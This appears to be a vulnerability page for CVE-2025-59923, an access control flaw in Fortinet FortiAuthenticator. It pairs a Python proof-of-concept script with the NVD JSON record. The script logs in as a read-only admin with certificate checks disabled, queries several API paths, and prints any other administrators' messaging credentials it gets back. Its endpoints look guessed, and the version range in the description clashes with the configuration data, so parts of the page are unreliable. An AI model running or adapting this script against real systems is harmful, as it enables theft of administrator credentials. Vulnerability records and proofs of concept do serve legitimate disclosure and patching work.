CVE-2025-59923

# CVE-2025-59923 PoC - FortiAuthenticator Access Control Bypass # Requires authenticated session with read-only admin privileges import requests import json TARGET = "https://target-fortiauthenticator.example.com" USERNAME = "readonly_admin" PASSWORD = "password" def login(): """Authenticate and obtain session cookie""" session = requests.Session() login_url = f"{TARGET}/login" data = {"username": USERNAME, "password": PASSWORD} response = session.post(login_url, data=data, verify=False) return session if response.status_code == 200 else None def exploit(session): """Attempt to retrieve other admin messaging credentials""" # Enumerate messaging service endpoints endpoints = [ f"{TARGET}/api/v1/messaging/services", f"{TARGET}/api/v1/admin/messaging", f"{TARGET}/api/v1/settings/messaging" ] results = [] for endpoint in endpoints: response = session.get(endpoint, verify=False) if response.status_code == 200: data = response.json() results.append({"endpoint": endpoint, "data": data}) return results if __name__ == "__main__": session = login() if session: print("Login successful, attempting exploitation...") creds = exploit(session) print(json.dumps(creds, indent=2)) else: print("Authentication failed")

{"cve": {"id": "CVE-2025-59923", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:15:55.663", "lastModified": "2025-12-11T17:15:56.497", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper access control vulnerability in Fortinet FortiAuthenticator 6.6.0 through 6.6.6, FortiAuthenticator 6.5 all versions, FortiAuthenticator 6.4 all versions, FortiAuthenticator 6.3 all versions may allow an authenticated attacker with at least read-only admin permission to obtain the credentials of other administrators' messaging services via crafted requests."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortiauthenticator:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.3.0", "versionEndIncluding": "6.6.4", "matchCriteriaId": "AC1A8077-94C7-4F49-B819-5A19492C7509"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-25-616", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}